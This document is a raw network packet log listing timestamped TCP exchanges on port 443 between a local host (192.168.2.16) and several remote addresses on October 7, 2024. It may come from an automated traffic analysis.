Oct 7, 2024 20:59:03.520519972 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.520530939 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.520574093 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.520608902 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.522958994 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.523004055 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.523067951 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.523076057 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.523114920 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.523145914 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.558099031 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.596848011 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.597009897 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.597079039 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.597110033 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.597206116 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.597259998 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.597269058 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.597357988 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.597414017 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.597420931 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.597505093 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.597558022 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.597564936 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.598002911 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.598052979 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.598062038 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.598157883 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.598211050 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.598218918 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.598891973 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.598954916 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.598963976 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.599041939 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.599093914 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.599102020 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.599574089 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.599668980 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.599674940 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.599703074 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.599772930 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.599792957 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.602514029 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.602567911 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.602629900 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.602699041 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.602736950 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.602772951 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.603868961 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.603907108 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.603955984 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.603971004 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.604033947 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.604067087 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.605564117 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.605583906 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.605658054 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.605673075 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.605734110 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.607342005 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.607358932 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.607610941 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.607624054 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.607697964 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.638637066 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.638752937 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.638756990 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.638816118 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.638916969 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.638932943 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.639075041 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.639146090 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.639281034 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.639317036 CEST	443	49732	104.17.24.14	192.168.2.16
Oct 7, 2024 20:59:03.639342070 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.639381886 CEST	49732	443	192.168.2.16	104.17.24.14
Oct 7, 2024 20:59:03.650358915 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:03.650398970 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:03.650516987 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:03.650777102 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:03.650794983 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:03.684849977 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.684931040 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.684990883 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.685030937 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.685185909 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.685185909 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.685940981 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.685998917 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.686049938 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.686063051 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.686105013 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.686127901 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.686378002 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.686420918 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.686463118 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.686475039 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.686506033 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.686538935 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.688704967 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.688757896 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.688869953 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.688884974 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.688915014 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.688927889 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.688950062 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.688961983 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.688997030 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.689038038 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.689050913 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.689080954 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.689119101 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.689152956 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.689198971 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.689235926 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.689249039 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.689279079 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.689306974 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.690139055 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.690181971 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.690237999 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.690249920 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.690274954 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.690308094 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.767199039 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.767256975 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.767427921 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.767448902 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.767477036 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.767518044 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.767626047 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.767669916 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.767714977 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.767726898 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.767752886 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.767790079 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.767790079 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.767817020 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.767867088 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.767980099 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.768043995 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.768162966 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.768199921 CEST	443	49733	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.768222094 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.768270016 CEST	49733	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.779616117 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.779695988 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.779798031 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.780100107 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:03.780133009 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:03.908803940 CEST	49736	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:03.908885956 CEST	443	49736	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:03.909037113 CEST	49736	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:03.909430027 CEST	49736	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:03.909456968 CEST	443	49736	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.105530977 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.105882883 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.105927944 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.107372046 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.107539892 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.107887983 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.107980013 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.108150959 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.108176947 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.163108110 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.248404980 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.248873949 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.248940945 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.252513885 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.252641916 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.252897024 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.253048897 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.253073931 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.256284952 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.256371021 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.256402969 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.256438017 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.256447077 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.256479025 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.256509066 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.256639957 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.256695032 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.256706953 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.256809950 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.256863117 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.256870031 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.256959915 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.257016897 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.257021904 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.261109114 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.261192083 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.261214018 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.295034885 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.295084000 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.307096958 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.339082003 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.342612982 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.342820883 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.342883110 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.342905045 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.342987061 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.343039989 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.343045950 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.343147039 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.343200922 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.343206882 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.343595028 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.343650103 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.343657970 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.343751907 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.343803883 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.343811035 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.343915939 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.343974113 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.343981028 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.344485044 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.344542027 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.344549894 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.344635963 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.344691992 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.344698906 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.345179081 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.345228910 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.345238924 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.345247030 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.345314980 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.345320940 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.346555948 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.346741915 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.346803904 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.346822023 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.346911907 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.346967936 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.346981049 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.347043037 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.347100019 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.347112894 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.347206116 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.347264051 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.347275019 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.347682953 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.347747087 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.347758055 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.359498024 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.359596014 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.359608889 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.380935907 CEST	443	49736	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.382458925 CEST	49736	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.382474899 CEST	443	49736	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.384124994 CEST	443	49736	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.384248018 CEST	49736	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.387032032 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.390352011 CEST	49736	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.390383959 CEST	49736	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.390449047 CEST	443	49736	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.390455008 CEST	49736	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.390532970 CEST	49736	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.392270088 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.392369032 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.392467976 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.393933058 CEST	49737	443	192.168.2.16	188.114.96.3
Oct 7, 2024 20:59:04.393971920 CEST	443	49737	188.114.96.3	192.168.2.16
Oct 7, 2024 20:59:04.402024984 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.429117918 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.429264069 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.429335117 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.429348946 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.429363966 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.429440975 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.429445982 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.429559946 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.429616928 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.429804087 CEST	49734	443	192.168.2.16	104.17.25.14
Oct 7, 2024 20:59:04.429817915 CEST	443	49734	104.17.25.14	192.168.2.16
Oct 7, 2024 20:59:04.432427883 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.432459116 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.432476044 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.432526112 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.432527065 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.432552099 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.432579041 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.432585955 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.432600975 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.432622910 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.432667971 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.433855057 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.433901072 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.433943033 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.433959007 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.434015036 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.434036970 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.515955925 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.516019106 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.516122103 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.516146898 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.516202927 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.516222954 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.517121077 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.517169952 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.517218113 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.517230034 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.517271996 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.517288923 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.518203020 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.518245935 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.518292904 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.518304110 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.518332958 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.518357038 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.568820953 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.568883896 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.568950891 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.568965912 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.569020033 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.569020033 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.600465059 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.600537062 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.600598097 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.600641966 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.600676060 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.600714922 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.601052046 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.601094007 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.601140022 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.601152897 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.601182938 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.601208925 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.601788998 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.601833105 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.601880074 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.601891041 CEST	443	49735	151.101.2.137	192.168.2.16
Oct 7, 2024 20:59:04.601924896 CEST	49735	443	192.168.2.16	151.101.2.137
Oct 7, 2024 20:59:04.601943016 CEST	49735	443	192.168.2.16	151.101.2.137
